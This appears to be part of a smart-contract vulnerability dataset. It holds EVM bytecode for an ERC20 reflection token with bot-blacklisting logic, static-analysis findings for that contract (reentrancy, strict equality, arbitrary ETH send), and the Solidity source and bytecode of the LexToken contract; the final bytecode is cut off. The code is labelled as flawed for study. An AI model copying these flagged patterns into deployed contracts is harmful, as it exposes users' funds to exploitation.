960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190611b7d565b81600181518110610dc057610dc0611b1e565b6001600160a01b039283166020918202929092010152600b54610de69130911684610e62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1f908590600090869030904290600401611b9a565b600060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610f255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b600081116110ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c4565b6001600160a01b03831660009081526005602052604090205460ff16156111565760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c4565b6001600160a01b03831660009081526004602052604081205460ff1615801561119857506001600160a01b03831660009081526004602052604090205460ff16155b80156111ae5750600c54600160a81b900460ff16155b80156111de5750600c546001600160a01b03858116911614806111de5750600c546001600160a01b038481169116145b1561138f57600c54600160b81b900460ff1661123c5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561126b5750600b546001600160a01b03848116911614155b8015611278575042600e54115b156112bf57600061128884610684565b90506112a860646112a2678ac7230489e8000060026114af565b9061152e565b6112b28483611570565b11156112bd57600080fd5b505b600d544214156112ed576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f830610684565b600c54909150600160b01b900460ff161580156113235750600c546001600160a01b03868116911614155b1561138d57801561138d57600c54611357906064906112a290600f90611351906001600160a01b0316610684565b906114af565b81111561138457600c54611381906064906112a290600f90611351906001600160a01b0316610684565b90505b61138d81610ce8565b505b61139b848484846115cf565b50505050565b600081848411156113c55760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c0b565b95945050505050565b60006006548211156114425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b600061144c6116d2565b9050611458838261152e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114be575060006104f7565b60006114ca8385611c22565b9050826114d78583611c41565b146114585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061145883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f5565b60008061157d8385611b65565b9050838110156114585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806115dd576115dd611723565b6000806000806115ec8761173f565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116199085611786565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116489084611570565b6001600160a01b03891660009081526001602052604090205561166a816117c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116af91815260200190565b60405180910390a350505050806116cb576116cb600954600855565b5050505050565b60008060006116df611812565b90925090506116ee828261152e565b9250505090565b600081836117165760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c41565b60006008541161173257600080fd5b6008805460095560009055565b60008060008060008061175487600854611852565b9150915060006117626116d2565b90506000806117728a858561187f565b909b909a5094985092965092945050505050565b600061145883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a1565b60006117d26116d2565b905060006117e083836114af565b306000908152600160205260409020549091506117fd9082611570565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061182d828261152e565b82101561184957505060065492678ac7230489e8000092509050565b90939092509050565b6000808061186560646112a287876114af565b905060006118738683611786565b96919550909350505050565b6000808061188d86856114af565b9050600061189b86866114af565b905060006118a98383611786565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e5578581018301518582016040015282016118c9565b818111156118f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b803561192d8161190d565b919050565b6000806040838503121561194557600080fd5b82356119508161190d565b946020939093013593505050565b60008060006060848603121561197357600080fd5b833561197e8161190d565b9250602084013561198e8161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c857600080fd5b823567ffffffffffffffff808211156119e057600080fd5b818501915085601f8301126119f457600080fd5b813581811115611a0657611a0661199f565b8060051b604051601f19603f83011681018181108582111715611a2b57611a2b61199f565b604052918252848201925083810185019188831115611a4957600080fd5b938501935b82851015611a6e57611a5f85611922565b84529385019392850192611a4e565b98975050505050505050565b600060208284031215611a8c57600080fd5b81356114588161190d565b60008060408385031215611aaa57600080fd5b8235611ab58161190d565b91506020830135611ac58161190d565b809150509250929050565b600060208284031215611ae257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5e57611b5e611b34565b5060010190565b60008219821115611b7857611b78611b34565b500190565b600060208284031215611b8f57600080fd5b81516114588161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1d57611c1d611b34565b500390565b6000816000190483118215151615611c3c57611c3c611b34565b500290565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e29bff42111d1847d5d2c1998075605b20e585a55eeef23db74992f0185a254164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,342 |
0x0704810285dfdf86c2a5bf652b3af0cb7486c2fc
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string[]public offers; // offers made for token redemption - updateable by manager
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event AddOffer(uint256 index, string terms);
event AmendOffer(uint256 index, string terms);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowance[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, amount);
}
function purchase() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowance[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addOffer(string calldata offer) external onlyManager {
offers.push(offer);
emit AddOffer(offers.length-1, offer);
}
function amendOffer(uint256 index, string calldata offer) external onlyManager {
offers[index] = offer;
emit AmendOffer(index, offer);
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
}
|
0x6080604052600436106102135760003560e01c8063565974d3116101185780638a72ea6a116100a0578063a9059cbb1161006f578063a9059cbb14610ce9578063bb102aea14610d22578063d505accf14610d37578063dd62ed3e14610d95578063e3537d6814610dd05761030f565b80638a72ea6a14610c5c57806392ff0d3114610c8657806395d89b4114610c9b578063a457c2d714610cb05761030f565b806370a08231116100e757806370a082311461099c57806379cc6790146109cf5780637a0c21ee14610a085780637c88e3d914610b5e5780637ecebe0014610c295761030f565b8063565974d31461091357806361d3458f1461092857806364629ff71461095457806364edfbf0146109945761030f565b80633644e5151161019b57806340c10f191161016a57806340c10f19146107ef57806342966c6814610828578063466ccac014610852578063481c6a75146108675780634f0371e9146108985761030f565b80633644e515146106c157806339509351146106d65780633b3e672f1461070f57806340557cf1146107da5761030f565b806321af8235116101e257806321af82351461053157806323b872dd146105bc57806324b76fd5146105ff57806330adf81f14610681578063313ce567146106965761030f565b806306fdde0314610314578063095ea7b31461039e57806318160ddd146103eb5780631d809a79146104125761030f565b3661030f5760095460ff1661025a576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d80600081146102a7576040519150601f19603f3d011682016040523d82523d6000602084013e6102ac565b606091505b50509050806102ed576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b61030c303361030760015434610e5290919063ffffffff16565b610e82565b50005b600080fd5b34801561032057600080fd5b50610329610f30565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036357818101518382015260200161034b565b50505050905090810190601f1680156103905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103aa57600080fd5b506103d7600480360360408110156103c157600080fd5b506001600160a01b038135169060200135610fbe565b604080519115158252519081900360200190f35b3480156103f757600080fd5b50610400610fd4565b60408051918252519081900360200190f35b34801561041e57600080fd5b5061052f6004803603608081101561043557600080fd5b810190602081018135600160201b81111561044f57600080fd5b82018360208201111561046157600080fd5b803590602001918460208302840111600160201b8311171561048257600080fd5b919390929091602081019035600160201b81111561049f57600080fd5b8201836020820111156104b157600080fd5b803590602001918460208302840111600160201b831117156104d257600080fd5b919390929091602081019035600160201b8111156104ef57600080fd5b82018360208201111561050157600080fd5b803590602001918460208302840111600160201b8311171561052257600080fd5b9193509150351515610fda565b005b34801561053d57600080fd5b5061052f6004803603604081101561055457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057e57600080fd5b82018360208201111561059057600080fd5b803590602001918460018302840111600160201b831117156105b157600080fd5b50909250905061120e565b3480156105c857600080fd5b506103d7600480360360608110156105df57600080fd5b506001600160a01b038135811691602081013590911690604001356112ef565b34801561060b57600080fd5b5061052f6004803603604081101561062257600080fd5b81359190810190604081016020820135600160201b81111561064357600080fd5b82018360208201111561065557600080fd5b803590602001918460018302840111600160201b8311171561067657600080fd5b50909250905061138e565b34801561068d57600080fd5b506104006113fd565b3480156106a257600080fd5b506106ab611421565b6040805160ff9092168252519081900360200190f35b3480156106cd57600080fd5b50610400611431565b3480156106e257600080fd5b506103d7600480360360408110156106f957600080fd5b506001600160a01b038135169060200135611437565b34801561071b57600080fd5b5061052f6004803603604081101561073257600080fd5b810190602081018135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b919390929091602081019035600160201b81111561079c57600080fd5b8201836020820111156107ae57600080fd5b803590602001918460208302840111600160201b831117156107cf57600080fd5b50909250905061146d565b3480156107e657600080fd5b5061040061154c565b3480156107fb57600080fd5b5061052f6004803603604081101561081257600080fd5b506001600160a01b038135169060200135611552565b34801561083457600080fd5b5061052f6004803603602081101561084b57600080fd5b50356115aa565b34801561085e57600080fd5b506103d76115b7565b34801561087357600080fd5b5061087c6115c0565b604080516001600160a01b039092168252519081900360200190f35b3480156108a457600080fd5b5061052f600480360360208110156108bb57600080fd5b810190602081018135600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460018302840111600160201b8311171561090857600080fd5b5090925090506115cf565b34801561091f57600080fd5b506103296116cb565b34801561093457600080fd5b5061052f6004803603602081101561094b57600080fd5b50351515611726565b34801561096057600080fd5b5061052f6004803603608081101561097757600080fd5b5080359060208101359060408101351515906060013515156117c1565b61052f6118f0565b3480156109a857600080fd5b50610400600480360360208110156109bf57600080fd5b50356001600160a01b03166119df565b3480156109db57600080fd5b5061052f600480360360408110156109f257600080fd5b506001600160a01b0381351690602001356119f1565b348015610a1457600080fd5b5061052f6004803603610160811015610a2c57600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a7657600080fd5b820183602082011115610a8857600080fd5b803590602001918460018302840111600160201b83111715610aa957600080fd5b919390929091602081019035600160201b811115610ac657600080fd5b820183602082011115610ad857600080fd5b803590602001918460018302840111600160201b83111715610af957600080fd5b919390929091602081019035600160201b811115610b1657600080fd5b820183602082011115610b2857600080fd5b803590602001918460018302840111600160201b83111715610b4957600080fd5b91935091508035151590602001351515611a30565b348015610b6a57600080fd5b5061052f60048036036040811015610b8157600080fd5b810190602081018135600160201b811115610b9b57600080fd5b820183602082011115610bad57600080fd5b803590602001918460208302840111600160201b83111715610bce57600080fd5b919390929091602081019035600160201b811115610beb57600080fd5b820183602082011115610bfd57600080fd5b803590602001918460208302840111600160201b83111715610c1e57600080fd5b509092509050611c9d565b348015610c3557600080fd5b5061040060048036036020811015610c4c57600080fd5b50356001600160a01b0316611d71565b348015610c6857600080fd5b5061032960048036036020811015610c7f57600080fd5b5035611d83565b348015610c9257600080fd5b506103d7611df9565b348015610ca757600080fd5b50610329611e08565b348015610cbc57600080fd5b506103d760048036036040811015610cd357600080fd5b506001600160a01b038135169060200135611e63565b348015610cf557600080fd5b506103d760048036036040811015610d0c57600080fd5b506001600160a01b038135169060200135611e99565b348015610d2e57600080fd5b50610400611ef4565b348015610d4357600080fd5b5061052f600480360360e0811015610d5a57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611efa565b348015610da157600080fd5b5061040060048036036040811015610db857600080fd5b506001600160a01b03813581169160200135166120de565b348015610ddc57600080fd5b5061052f60048036036040811015610df357600080fd5b81359190810190604081016020820135600160201b811115610e1457600080fd5b820183602082011115610e2657600080fd5b803590602001918460018302840111600160201b83111715610e4757600080fd5b5090925090506120fb565b600082610e6157506000610e7c565b82820282848281610e6e57fe5b0414610e7957600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610ea590826121d9565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610ed490826121ee565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b820191906000526020600020905b815481529060010190602001808311610f9957829003601f168201915b505050505081565b6000610fcb338484612200565b50600192915050565b60025481565b6000546001600160a01b03163314611024576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b858414801561103257508582145b611083576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b8681101561120457600084848381811061109c57fe5b9050602002013590508215611142578888838181106110b757fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561111357600080fd5b505afa158015611127573d6000803e3d6000fd5b505050506040513d602081101561113d57600080fd5b505190505b88888381811061114e57fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061117857fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156111cf57600080fd5b505af11580156111e3573d6000803e3d6000fd5b505050506040513d60208110156111f957600080fd5b505050600101611086565b5050505050505050565b6000546001600160a01b03163314611258576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561127f600583836123d0565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60095460009062010000900460ff1661133f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a602090815260408083203380855292529091205461137991869161137490866121d9565b612200565b611384848484610e82565b5060019392505050565b6113983384612262565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121ee565b8281146114ad576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60095462010000900460ff166114fa576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156115455761153d3386868481811061151557fe5b905060200201356001600160a01b031685858581811061153157fe5b90506020020135610e82565b6001016114fd565b5050505050565b60015481565b6000546001600160a01b0316331461159c576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6115a682826122f3565b5050565b6115b43382612262565b50565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611619576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60078054600181018255600091909152611656907fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880183836123d0565b507fbc51c630f8cb647f3f7b7f755e8a9a267b836d659ef4fd39444767b2e99f8eb8600160078054905003838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b6000546001600160a01b03163314611770576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6009805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b0316331461180b576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556009805460ff1916821515179055821580159061182a5750815b15611839576118393084612262565b600083118015611847575081155b156118565761185630846122f3565b80156118a157600084116118a1576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b60095460ff16611932576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461197f576040519150601f19603f3d011682016040523d82523d6000602084013e611984565b606091505b50509050806119c5576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6115b4303361030760015434610e5290919063ffffffff16565b600b6020526000908152604090205481565b6001600160a01b0382166000908152600a6020908152604080832033808552925290912054611a2691849161137490856121d9565b6115a68282612262565b600954610100900460ff1615611a7b576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611adb9291906123d0565b50611ae8600687876123d0565b50611af5600885856123d0565b506009805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611b2e57611b2e8e8d6122f3565b8915611b3e57611b3e308b6122f3565b8115611b895760008b11611b89576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60066040518082805460018160011615610100020316600290048015611c0c5780601f10611bea576101008083540402835291820191611c0c565b820191906000526020600020905b815481529060010190602001808311611bf8575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611ce7576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611d27576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b8381101561154557611d69858583818110611d4157fe5b905060200201356001600160a01b0316848484818110611d5d57fe5b905060200201356122f3565b600101611d2a565b600c6020526000908152604090205481565b60078181548110611d9357600080fd5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b60095462010000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610fcb91859061137490866121d9565b60095460009062010000900460ff16611ee9576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610fcb338484610e82565b60035481565b83421115611f39576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060045461190160f01b610100870152610102860152610122808601829